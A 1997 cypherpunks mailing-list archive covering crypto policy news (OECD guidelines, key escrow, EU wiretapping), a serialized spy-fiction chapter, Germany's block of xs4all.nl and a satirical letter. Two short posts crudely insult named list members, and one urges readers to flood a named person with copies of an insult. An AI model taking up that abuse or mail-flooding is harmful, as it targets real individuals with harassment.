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zGIkshuBGGw7jcZ3XsWKReb/7q0JiaNz0BMwUIrE+j/+jGAdjbzmE95Mbxkt0nlV
CVR9gF5by1E=
=eKIw
-----END PGP SIGNATURE-----

Jim Saxman              
jesaxman@eos.ncsu.edu
PGP KeyID: 5E5D6469





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: owner-lambda-en@freenix.fr
Date: Tue, 15 Apr 1997 14:20:02 -0700 (PDT)
To: lambda-en@freenix.fr
Subject: lambda 3.02 - Big Brother goes international
Message-ID: <199704152049.WAA26196@fasterix.frmug.org>
MIME-Version: 1.0
Content-Type: text/plain


---
lambda 3.02
April 14, 1997
Sender: owner-lambda-en@freenix.fr
Precedence: bulk

* Private Communications Under International Scrutiny:
--> Key escrow encryption: The OECD says no, individual countries endorse it
--> A global pact for universal wiretapping gains ground in Europe, with
support of the U.S. and other industrialized nations

* Short-Circuits:
--> Social security data causes privacy concerns in U.S., France


* * * * *

OECD tries to prevent privacy abuses on encryption policy

The Paris-based Organization for Economic Cooperation and Development
released on March 27 its "Guidelines For Cryptography Policy," after more
than a year of intense talks between officials from the 29 governments (see
http://www.oecd.org/dsti/iccp/crypto_e.html).

Yet there was one pleasant surprise: the guidelines do not explicitly urge
governments to establish "key escrow" encryption schemes, although
individual countries will be able to act according to its own wishes, for
"national security" purposes.

According to the Washington, DC-based Electronic Privacy Information
Center, among the eight basic principles adopted by the OECD, one is the
rejection of key escrow encryption (see point 6, "lawful Access"). "The
U.S. sought endorsement for government access to private keys. Initial
drafts of the guidelines included this recommendation. The final draft does
not. OECD countries rejected this approach," said EPIC. The good point is
an "endorsement of voluntary, market-driven development of crypto products.
The OECD emphasized open, competitive markets to promote trade and commerce
in new cryptographic methods."

However, the United States, France and Britain have taken steps to pursue
key escrow schemes -- but northern Europe isn't signing on.

* USA: From EPIC Alert 4.05: "The White House has released a new draft
proposal on key escrow encryption to the Congress. The draft (dated March
12) is entitled the 'Electronic Data Security Act of 1997.' The legislation
is the latest attempt to push forward the result the Administration sought
to achieve with the failed Clipper Chip initiative -- ensuring government
access to all encrypted communications through government-escrowed keys."
Resources:
http://www.epic.org/crypto/
http://www.cpsr.org/cpsr/nii/cyber-rights/web/crypto_amer.html

* France: A decree that will clearly establish the next trusted third-party
scheme for business and individuals has not yet been released by the
government. Draft proposals (see lambda 3.01) mentioned certain "national"
preferences for future TTP agencies. These proposals have divided
government officials (it may be an obstacle to common-market principles
covering the free flow of capital and workers in the European Union). And
the OECD clearly states (see point 8, "International Cooperation") that:
"In order to promote international trade, governments should avoid
developing cryptography policies and practices which create unjustified
obstacles to global electronic commerce. Governments should avoid creating
unjustified obstacles to international availability of cryptographic
methods."

* Britain: The U.K.'s Department of Trade and Industry released its
proposal last month on licensing encryption services. According to Ross
Anderson, the famed Cambridge University-based cryptographer: "Their effect
will be to ban PGP and much more besides," because licensing will be
mandatory. An excerpt of the draft regulations say:

"We intend that it will be a criminal offence for a body to offer or
provide licensable encryption services to the UK public without a valid
licence. [...]
Public will be defined to cover any natural or legal person in the UK. [...]
Encryption services is meant to encompass any service, whether provided
free or not, which involves any or all of the following cryptographic
functionality - key management, key recovery, key certification, key
storage, message integrity (through the use of digital signatures) key
generation, time stamping, or key revocation services (whether for
integrity or confidentiality), which are offered in a manner which allows a
client to determine a choice of cryptographic key or allows the client a
choice of recipient/s."

Anderson commented: "The licence conditions imply that only large
organisations will be able to get licences: small organisations will have
to use large ones to manage their keys (this was the policy outlined last
June by a DTI spokesman).
The main licence condition is of course that keys must be escrowed, and
delivered on demand to a central repository within one hour. The mere
delivery of decrypted plaintext is not acceptable except perhaps from TTPs
overseas under international agreements."
The DTI report: http://www.cl.cam.ac.uk/users/rja14/dti.html
Other resources:
http://www.cpsr.org/cpsr/nii/cyber-rights/web/crypto_brit.html

* Scandinavia: Despite these measures, the Nordic countries meanwhile
released user-friendly plans to offer a secure and non-escrowed electronic
mail system, called the Nordic Post Security Service (Denmark, Finland,
Norway and Sweden). Every Scandinavian citizen will soon be offered the
possibility of opening an e-mail account using smart card technology that
allows for digital signatures and strong encryption of up to 1024
bit-length keys, a high level security. The private key will be embedded on
the card, and no TTP system is planned.

* * * * *
Europe is launching a universal wiretap network

The British watchdog group Statewatch revealed confidential documents from
the European Union's intergovernmental meetings that show a global
wiretapping system is under way among Europe, the United States and other
industrialized countries.

Legally speaking, the resolution and memorandum agreed among the EU's 15
countries have not yet been accepted by national parliaments, so it has no
value except as a clear and profound indication of political will.

See the full report, archived on the lambda's server thanks to Statewatch:
http://www.freenix.fr/netizen/swreport.html

Tony Bunyan, the director of Statewatch, published a communique at the end
of February explaining the basic purposes of the wiretap plan:

-- fwd message --
"The Council of the European Union and the FBI in Washington, USA have been
cooperating for the past five years on a plan to introduce a global
telecommunications tapping system. The system takes advantage of the
liberalisation of telecommunications -- where private companies are taking
over from national telephone systems -- and the replacement of land/sea
based lines and microwave towers by satellite communications. Telephone
lines are now partly land-based or under sea or via microwave land-based
towers but the new generation of telecommunications will be totally
satellite-based."

The EU-FBI initiative notes the demise of:
1. state-owned telephone companies
2. nationally-based telephone systems is concerned about:
3. the problems faced with intercepting "mobile" phones and encrypted
communications and wants to ensure:
4. there is harmonisation of national laws on interception
5. to ensure that telecommunications provider business cooperate with the
police and internal security
6. the equipment produced has standards which can be intercepted
7. as many countries as possible to sign up and thus create a de facto
global system (through provisions of equipment etc to third countries).

A related disclosure in a book by Nicky Hager shows that instead of
"suspects" and "targets" the ECHELON system simply trawls the airwaves for
"subversive thoughts" in written form and increasingly in verbal form.
ECHELON is run under the 1948 UKUSA agreement by the US, UK, Canada, New
Zealand and Australia."

-- end of fwd message --

* * * * *
Short-Circuits:

Social security data causes privacy concerns in U.S., France

The Internet site of the U.S. Social Security Administration was closed due
to privacy concerns, in that it supplied information about an individual's
personal income and retirement benefits, the Washington Post reported April
10. Abstracts from the Edupage press review:
"The shut-down followed receipt by the Administration of a harshly critical
letter written by a bipartisan group of legislators who said the site's
security systems were inadequate. To obtain information, a computer user
needed merely to supply a name, address, telephone number, place of birth,
Social Security number, and mother's maiden name -- items that are
available in many private databases."

In France, the government adopted on April 2 a draft law that extends the
use of social security numbers, known as NIR, to tax authorities (the
French equivalent to the U.S.'s Internal Revenue Service). The NIR is one
of the most sensitive pieces of social data in Europe, since it classifies
individuals according to their place of birth and is linked to all social
benefits files. Earlier attempts in the 1970s to extend the NIR to other
parts of the government had failed. The government passed these measures
officially to fight fraud in social benefits households (minimum salary,
housing aid, family pensions, etc.). The national data privacy commission,
the CNIL, along with the League for Human Rights, expressed great concerns
about the plan, which, if implemented by parliament, could especially harm
low-income people.

--- end of lambda 3.02 --- www.freenix.fr/netizen/302-e.html
Jerome Thorel, April 1997.
English proof-reader: K. N. Cukier
---
To unsubscribe the lambda bulletin, send to majordomo@freenix.fr the
following command:
unsubscribe lambda-en
to subscribe:
subscribe lambda-en <your e-mail>
###




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Wed, 16 Apr 1997 00:40:08 -0700 (PDT)
To: cypherpunks@toad.com
Subject: WebWorld 33-34
Message-ID: <3354828A.5DDC@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet







The True Story of the InterNet

Part II


WebWorld & the Mythical 'Circle of Eunuchs'


by Arnold


Copyright 1995, 1996, 1997 Pearl Publishing


BDS IV


Schultz arrived promptly at six o'clock. His aide handed both
the Cowboy and Melissa a newly acquired wardrobe, fit for a ceremony
of high distinction.

"Don't be long," Schultz admonished them, "the
Cowboy is the guest of honor."

The head guard at the main gate smiled as he looked at the paperwork
Schultz had presented to him. He had long had a personal enmity
with Schultz, resenting the way that he threw his weight around
in all areas of the facility, lording it over those who were actually
above him in authority.

"There is no paperwork on Dr. Adam's departure, Schultz.
I'm afraid that is quite unacceptable."

Schultz hefted a heavy, swift-moving boot into the guard's groin,
sending him, knees buckled, to the pavement, in enormous pain.

"Look again, friend.", Schultz said casually.

"Yes.", the guard groaned, handing back the paperwork
quickly, when it appeared that Schultz might repeat his performance,
"Everything seems to be in order."

They walked to the waiting limousine, with Schultz's aide thumbing
through the papers, mumbling,
"I know that I prepared the proper paperwork for Dr. Adams,
Mr. Schultz."

Schultz pulled a slip of paper out of his pocket, handing it to
his aide, with a grin, saying,
"You did. I hate that prick.", Schultz laughed, glancing
back at the guard, who was still on his knees, cursing in pain.


A short time later, the aide appeared to be quite nervous as he
pulled the limousine into the alleyway behind Bubba Rom Dos IV's
former 'safe-house'.

"I'm not so sure that this is a good idea, Mr. Schultz."

Schultz gave his aide a look of cold disdain for questioning his
judgment, with a hint of violent fury skirting his reply,
"Would you rather I had said, 'Please.', when I asked you
to turn in here?"

"No, sir. No, sir. I'm sorry, sir. Very..."

"Shut up, you imbecile!", Schultz roared, cutting the
man off.

The four of them stepped out of the limousine. Schultz asked the
Cowboy, with a tone of utmost courtesy,
"Any plans to escape, and leave your friends hung out to
dry, Cowboy?"

The question needed no answer. Schultz smiled serenely at his
aide, mocking his still-present fear, turned his back on the Cowboy
and moved towards the rear door of the 'safe-house'.

"Come, gentlemen," he turned to nod politely to Melissa,
"and ma'am, of course. Let's sit and have a short drink before
we continue. It will be the last chance we have to talk, I'm afraid."

Schultz led them through the building, past the chaotic disarray
resulting from the abrupt interruption of the previous night's
meeting, to a small room in the back. He sat gingerly down on
the small Afghani rug in the center of the small room, motioned
for the others to join him, and began pouring each of them a glass
of Jim Beam from the half-full bottle of Bubba's Private Reserve
that had been left behind in the chaos.

"You are not the only one who will be retiring after
tonight, Cowboy.", Schultz said, lifting his glass in toast
to his adversary, who returned the gesture.

"There is something I felt that I must share with you, Cowboy,
since it concerns both of us, and has for some forty-odd years.
It is something even my esteemed aide will find interesting, I
am sure," he lifted his glass in toast to his aide, who replied
in kind, "since it concerns something known only to myself
and the Shadow."

Everyone waited, with interest, for Schultz to continue. He drew
the moment out by pausing to fill everyone's shot-glasses.
"With your departure, Cowboy, Nuthouse Number Nine will cease
to exist."

"The Shadow had it built, as well as staffed and populated
with his best security forces," he paused to laugh, "including
Jesus#1 and Jesus#2-and myself-for the express purpose of being
ready to deal with the remote possibility of the appearance of
a dead man, or one of his heirs.
"The 'dead man'-whose body he had never personally seen,
and hence his allowance of the possibility he had lived-was the
Author, the man who wrote The Xenix Chainsaw Massacre-C.J. Parker
I.

"So now, you see, my career ends along with yours, Cowboy.",
Schultz toasted him once again.

"You really shouldn't have gone to all of that trouble, just
for me.", Cowboy told Schultz, facetiously.

"I'm glad he did.", Melissa enjoined, noticing, out
of the corner of her eye, the odd look that Schultz gave her.

"We really should be going.", the aide said nervously,
glancing at his watch.

"Yes, of course. Thank you.", Schultz nodded to his
aide, who appeared relieved that he had not angered Schultz, once
again.
"I have worked for the Shadow for forty-three years now,"
Schultz said, rising to his feet, "but I have been 'my own
man' for much longer than that.", he continued, pulling an
antique pearl-handled Colt 45 automatic out of his jacket, aiming
and firing it in one swift motion.

Schultz lowered the smoking firearm, placing it back in its holster,
and turned to the Cowboy, who stood staring at Schultz's dead
aide.

"Bubba D'Shauneaux IV, at your service, sir." He bowed
graciously, and smiled.


A Drive In the Country


"But why did you have to be so absolutely cruel and violet
with him?", Melissa asked Schultz, seeming perturbed at him.

The Cowboy and D'Shauneaux both laughed heartily at the question.

"Dr. Adams, if I had taken tea and crumpets with the Cowboy
every afternoon, then I think the Shadow might have suspected
something was amiss." D'Shauneaux told her.

The Cowboy and D'Shauneaux laughed again, at Melissa's embarrassment
at having asked such a naive question, with such an obvious answer.

"Well, I still think that you're absolutely abominable.",
Melissa said, in a huff, not really meaning it, but mad at them
for laughing at her so much.

They laughed, even more, at this.

The two men grew suddenly somber, as D'Shauneaux looked at his
watch and told the Cowboy,
"I suppose that you must be on your way, Cowboy. I'm sorry
that I can't accompany you."

"The Shadow would be less than pleased to see you, I'm afraid.",
the Cowboy shook his head. "And it will be far more effective,
psychologically, if I arrive voluntarily, on my own."

Melissa, looking at the Cowboy with great concern, saw him viewing
her with the same concern, as he spoke to D'Shauneaux, saying,

"You can watch over Dr. Adams, I trust, until this thing
is decided, one way or another?"

"Yes, of course.", came Schultz's immediate reply.

The Cowboy turned to Melissa, taking her gently in his arms.
"Thanks for everything, Doctor Melissa. I know D'Shauneaux
will take good care of you, he's the best."

It was strange for Melissa to think of this violent, abominable
man, as she so recently regarded Schultz, in charge of her safety.
The Cowboy seemed to sense her concern, telling her,
"Please. Do whatever he asks of you, it's important. The
lives of all of us will be hanging in the balance for the next
few hours. So try to remember, Melissa, that no matter what it
is he asks of you," a trace of a devious smile began to cross
the Cowboy's lips, "it may be the last request of a dying
man."

The Cowboy laughed uproariously at his own humor, and Melissa
was about to give him a tongue-lashing for suggesting such a beastly
thing, until she glanced at Schultz, and saw him blushing madly,
turning a bright beet-red. She instinctively toned-down her response
a bit, saying,
"I'll do nothing of the sort.", she saw Schultz, out
of the corner of her eye, looking like a puppy-dog that had just
been kicked, and she turned away, so that he wouldn't see her
blush as a result of the beyond-motherly emotions it evoked in
her.

"I'll walk you to the car, Cowboy.", she said, tugging
him along.

The two of them hugged one another for an eternity, then kissed
gently and Cowboy turned to leave. As he climbed behind the wheel
of the limousine, he looked up at Melissa, and admonished her,

"You know, Doctor, forty-three years is a long time for a
person to have to hide any display of basic humanity from constantly
watching eyes. I've no doubt that D'Shauneaux is very vulnerable
to you, now that he is in a position to actually let himself feel
years of repressed emotions, without fear of discovery."

Melissa glanced back at Schultz...D'Shauneaux, it was so confusing...with
concern, knowing the burden he must have had to bear, those many
years. The Cowboy knew that he had hit upon exactly the right
nerve to set Melissa up for his final teasing, as he said,
"So please, be gentle with him."
Melissa threw him a blistering glance, as he drove away.

"Men!", she swore, turning to walk back to the waiting
Schultz.

As they drove out into the countryside, where D'Shauneaux had
a lakeside cabin that had been waiting forty-some years for this
day to arrive, it was obvious that he was not comfortable with
small-talk, but even less comfortable with expressing his real
thoughts and emotions, which he had needed to guard so very closely
for so many years. He was also extremely uncomfortable with being
in Melissa's presence, now that he was fully free to express whatever
it was that he felt toward her, but unable to bring himself to
do so.

"My lord," she thought to herself, "he blushes
every time I look at him, for heaven's sake. How could I not have
noticed anything for all these years? How could he have
not shown any feelings for me all these years?"

All of their attempts at normal conversation had been short, and
had turned quickly into embarrassed silences. Melissa tried a
new tack, however, asking him,
"D'Shauneaux, is the danger really as severe as the Cowboy
says?"

"Yes, all that, and more.", he replied, comfortable
to be speaking of something that had been very important to him
for many years.

"It must have been very difficult for you, all these years,
living with that kind of knowledge, and being able to do nothing
but wait, and stay prepared. It must have been a terrible burden
on you."

"It had to be done...but, yes, it was difficult.",
D'Shauneaux took a deep breath, and Melissa knew that it was taking
every ounce of his courage to continue. "It was very difficult
working with you."

He had said it, without even a glance in her direction, as if
it were no big deal to have said it, but Melissa knew that it
would be a mistake to reply to his statement directly.

"I don't know where you and the Cowboy find that kind of
courage," she told him. "Knowing the little that I do,
I'm terrified...absolutely terrified." She let herself
shiver, which was not hard to do, thinking of what might be coming.

Melissa moved over in the seat, gently, sitting beside D'Shauneaux,
without looking at him.
"Do you think you could hold me just a bit? Please?"

D'Shauneaux put his big arm around her ever so gently, as if afraid
he might hurt her. She could tell that he felt awkward, but she
knew that he would get better at it...with practice.

Melissa closed her eyes and rested her head on his shoulder. She
would see to it that he got plenty of practice.


Chapter 33 - BSD IV / Chapter 34 - A Drive In the
Country








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Tue, 15 Apr 1997 23:23:36 -0700 (PDT)
To: cypherpunks@toad.com
Subject: xs4all.nl
Message-ID: <TCPSMTP.17.4.16.2.17.12.2780269260.1605789@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

The DFN - science network in Germany has blocked access to the
dutch xs4all.nl server after an order of the Bundeskriminalamt
(BKA), the german FBI.

Users of DFN have confirmed that today. If somebody wants to follow
up on it, the public relation office of DFN can be reached at (49)
030 - 884-29942 (Miss Quandel).

Ciao

Harka

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=8wdj
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If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Tue, 15 Apr 1997 23:25:36 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Introducing newbies t
Message-ID: <TCPSMTP.17.4.16.2.18.12.2780269260.1605793@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

I've just written a brief installation guide for PGP called
"PGPSteps". It's not meant to compete with any of the FAQ's but
rather intended to be a short and easy reference for DOS/Windows
users, who want to install PGP.

If you are interested in a copy, please reply privately...
Comments are very welcome as well.

Ciao

Harka

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=iwVf
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If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Wed, 16 Apr 1997 05:56:51 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: A Rumor and Reputation Paradox...
In-Reply-To: <v03020945af76bb8cd2a1@[139.167.130.246]>
Message-ID: <0nJAm1200YUd01pRY0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Re: Rumor's regarding Tommy Hilfinger's remakrs, I'm not sure it's as
simple as he said/he didn't say. True, he didn't spurt racism on
Oprah, however, <http://www.forbes.com/forbes/97/0421/5908142a.htm>
has some quotes that indicate that he might very well have made
comments derisive to black culture if he *had been on Oprah. Mayhaps
the reason that the rumors are so persistant is that they are so
plausible. In that case, maybe they shouldn't been seen so much as a
failure of the reputation economy...

Qoutes from Tommy Hil:
"Many of these people would rather have a Rolex than a home"

"I don't condone violence, and I think 'gangsta rap' should be
 outlawed, but the music is powerful because the musicians are
 irreverent and don't follow the rules. I don't tell them where to 
 make their money, and I don't tell them where to spend their money."

Tommy Hil and other "street" fashion designers are about exploitation.
There is no respect or community there. I suspect the rumors' success
in bsed on that. They are false, but they represent truthful
attitudes.

Bleah, enought literary criticism for today,
Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jamesd@echeque.com
Date: Mon, 14 Apr 1997 22:16:04 -0700 (PDT)
To: <cypherpunks@toad.com>
Subject: Re: FCPUNX:Advocating Violence
Message-ID: <199704150514.WAA03565@proxy1.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:29 PM 4/13/97 -0800, Jim Bell wrote:
> Looked at traditionally, "we" have a
> military because "they" have militaries.  There appears to be no way out of
> this game, and thus in that context militaries could be viewed as a public
> good, or at least a public necessity.  But give the public a relatively easy
> option to exit this game, and that public good becomes a public evil.
> Naturally, it doesn't appear that way to the people who profit from such
> waste:  Government officials and employees, etc.

Area defence is a public good, and therefore can only 
be paid for by charity or by coercion.

Retribution, however is an excludable good.  Therefore it can 
be paid for by normal market mechanisms.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 16 Apr 1997 08:57:39 -0700 (PDT)
To: harka@nycmetro.com
Subject: Re: xs4all.nl
In-Reply-To: <TCPSMTP.17.4.16.2.17.12.2780269260.1605789@nycmetro.com>
Message-ID: <199704161554.KAA02879@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <TCPSMTP.17.4.16.2.17.12.2780269260.1605789@nycmetro.com>, on 04/16/97
at 01:17 AM,
   harka@nycmetro.com said:

>The DFN - science network in Germany has blocked access to the dutch
>xs4all.nl server after an order of the Bundeskriminalamt (BKA), the german
>FBI.

More like the old Gestapo.

>Users of DFN have confirmed that today. If somebody wants to follow up on
>it, the public relation office of DFN can be reached at (49) 030 -
>884-29942 (Miss Quandel).

Book burning is sceduled for next week film at 11.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Air conditioned environment - Do not open Windows.

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JddaqRfPrkw=
=UUHw
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 16 Apr 1997 20:24:11 -0700 (PDT)
To: cypherpunks@toad.com
Subject: NEW: fpi - Freedom Press International
Message-ID: <v030209dbaf7aa85512b1@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date:         Wed, 16 Apr 1997 00:02:20 -0500
Reply-To:     Freedom Press <freedom@tao.ca>
Sender:       NEW-LIST - New List Announcements <NEW-LIST@LISTSERV.NODAK.EDU>
From:         Freedom Press <freedom@tao.ca>
Subject:      NEW: fpi - Freedom Press International
To:           NEW-LIST@LISTSERV.NODAK.EDU

fpi on majordomo@tao.ca   Freedom Press

FREEDOM PRESS is the world's oldest anarchist publishing group (founded in
1886). We have therefore an extensive and growing archive of material.
Further information about us will be incorporated into messages on the
list.

Messages on the list come from FREEDOM PRESS and will consist of extracts
from our publications with an emphasis on news. You should expect to
receive in the region of 2 or 3 messages per month.

To subscribe to fpi, send the following command:

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--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Gilchrist <dgilx@mindspring.com>
Date: Wed, 16 Apr 1997 10:05:13 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Cokie Roberts on How Internet Is Ruining Representative Government
Message-ID: <1.5.4.32.19970416170358.00686f7c@pop.mindspring.com>
MIME-Version: 1.0
Content-Type: text/plain


This is days old, but I had to get permission to forward it.  I thought it
was right on the money and I haven't seen or missed any discussion on it.

David

Date: Sun, 13 Apr 1997 08:01:20 -0400
From: Stephen Gilchrist <sgileod@sprintmail.com>
Reply-To: sgileod@sprintmail.com
Organization: None
References: <1.5.4.32.19970413023354.006cd1fc@pop.mindspring.com>

The Roberts are part of the problem, perfectly representing the
nauseating symbiotic relationship between journalists, politicians and
the few organizations which really shape legislation.  They aren't
really concerned about the potential move from a representative to a 
direct government. . .PACs have already done that.  What they're
concerned about is a real opportunity to upset the status quo.  

This is merely an chance for those who have become effectively
disenfranchised (by not belonging to a PAC) to have their views
considered.  The fact that this may actually help remove money from the
equation and will allow more people access to a forum and answers not
shaped by media reporting is probably a real threat to those who've
grown comfortable and rich with the current way of doing business.  No
wonder they're shuddering.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 16 Apr 1997 11:46:32 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Mondex
Message-ID: <199704161846.OAA20729@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


A warning label ought to be tattooed on Timmy May's head, 
saying `Warning: shit content under pressure'.

     o/ Timmy May
    <|
    / >





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Nystrom <enystrom@aurora.nscee.edu>
Date: Wed, 16 Apr 1997 16:35:01 -0700 (PDT)
To: ichudov@algebra.com
Subject: Re: Introducing newbies to encryption (was: Re: anonymous credit)
In-Reply-To: <199704160242.VAA00733@manifold.algebra.com>
Message-ID: <Pine.CVX.3.91.970416162021.9678B-100000@aurora.nscee.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 15 Apr 1997 ichudov@algebra.com wrote:

> > secure email.  Is there an offline mail reader for standard Unix systems 
> > that would run on a platform like you describe?  
> 
> Yes, there is one.

Okay, what is it, what are the requirements, where do I find it, does it 
require special Unix software (and if so, what is that, and where do I 
find it too)?

-Eric

--
Thus the time may have come to abandon the cool, measured language of
technical reports -- all that talk of "perturbations" and "surprises" and
"unanticipated events" -- and simply blurt out: "Holy shit!  Ten thousand
years!  That's incredible!"
			-- Kai Erikson, _A_New_Species_of_Trouble_, 1994.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: null@myemail.net
Date: Wed, 16 Apr 1997 14:52:30 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Mein Fuhrer
Message-ID: <21522528000237@MyEmail.net>
MIME-Version: 1.0
Content-Type: text/plain




SOG-TO: www@dfn.de
SOG-CC: webmaster@xs4all.nl,radikal@dds.nl,cypherpunks@toad.com

Mein Fuhrer,
  I am happy to see that the wall around East Berlin was
torn down to prepare for the new ElectroMagnetic Curtain
that is currently being built around the whole of Germany.

  Surely the age is past when we can expect to hold power
over our citizens by enslaving their mere bodies. WE MUST
CONTROLTHEIR MINDS!

  Please be advised that the enemies of the CyberReich are
already plotting to undermine the ElectroMagnetic Curtain.
  Herr Gilmore calls our efforts at maintaining ElectroMagnetic
purity as "damage" which others on the InterNet must "route
around." Herr May seems to be questioning our right to crush
all electromagnetic emanations which are generated from 
ethnically inferior electromagnetic sources. Herr Hughes is
is producing StegoDolls with paper and plastic scissors, in
an obvious attempt to subconsciously corrupt the minds of
Aryan children. (These StegoDolls have suspiciously large
breasts, leading me to believe that they are meant to 
undermine the morals of adults, as well.)

  There are attempts being made to put mirrors in place to
begin the formation of an organization known as InterNet 
Free Europe, in an attempt to allow our citizens' minds
to immigrate beyond the walls of the ElectroMagnetic Curtain.
  However, our Western Allies are even now taking steps to
seize control over the InterNet Domain registration system,
placing it in the capable hands of the FCC. With these efforts
and the ones being made to route technological development into
increasingly narrow channels, we should be able to keep 
control of bandwidth in the hands of those with interests
similar to our own.
  There should be no reason that we cannot control the citizens
by a combination of 'shortages' of bandwidth, strict laws limiting
the use of bandwidth to 'pure' purposes, and regulations which
allow us to control the nature of encryption programs so that
we can ferret out those who attempt to "route around" our control
mechanisms.

  We must also take steps to limit our citizen's access to the
dangerous materials contained in "The True Story of the InterNet."
  The following URL should be blocked immediately, as it contains
pointers to "The Xenix Chainsaw Massacre" and "WebWorld 


************************************************************************
 This Anonymous email has been relayed by http://www.MyEmail.net/
 MyEmail.Net is a free anonymous mailing service. No records indicating
 the identity of person(s) who originated this message are retrieved
 electronically, or as a requirement to submit. Your email address can
 be blocked to prevent further contact from this service, please refer
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 16 Apr 1997 07:54:43 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: xs4all.nl
In-Reply-To: <TCPSMTP.17.4.16.2.17.12.2780269260.1605789@nycmetro.com>
Message-ID: <199704161454.QAA12613@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


> Users of DFN have confirmed that today. If somebody wants to follow
> up on it, the public relation office of DFN can be reached at (49)
> 030 - 884-29942 (Miss Quandel).

Or try <quandel@dfn.de> and/or <maass@dfn.d400.de>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Wed, 16 Apr 1997 16:37:34 -0700 (PDT)
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: Mondex
In-Reply-To: <199704161846.OAA20729@dhp.com>
Message-ID: <Pine.A41.3.95.970416173643.115788A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



I think Vulis needs each of us to send ten copies of this back to him.

On Wed, 16 Apr 1997, lucifer Anonymous Remailer wrote:

> A warning label ought to be tattooed on Timmy May's head, 
> saying `Warning: shit content under pressure'.
> 
>      o/ Timmy May
>     <|
>     / >
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Charles Anthony" <canthony@info-nation.com>
Date: Wed, 16 Apr 1997 15:49:52 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: xs4all.nl
In-Reply-To: <TCPSMTP.17.4.16.2.17.12.2780269260.1605789@nycmetro.com>
Message-ID: <199704162249.RAA01826@bitstream.net>
MIME-Version: 1.0
Content-Type: text/plain


The German Academic Internet Provider, DFN, decided to block access 
to xs4all because it hosts a radical left-wing ezine called -Radikal 
magazine http://www.xs4all.nl/~radikal/index.html 
which is said to contain content in violation of german law.

They are blocking the whole site though the ezine is only a minor 
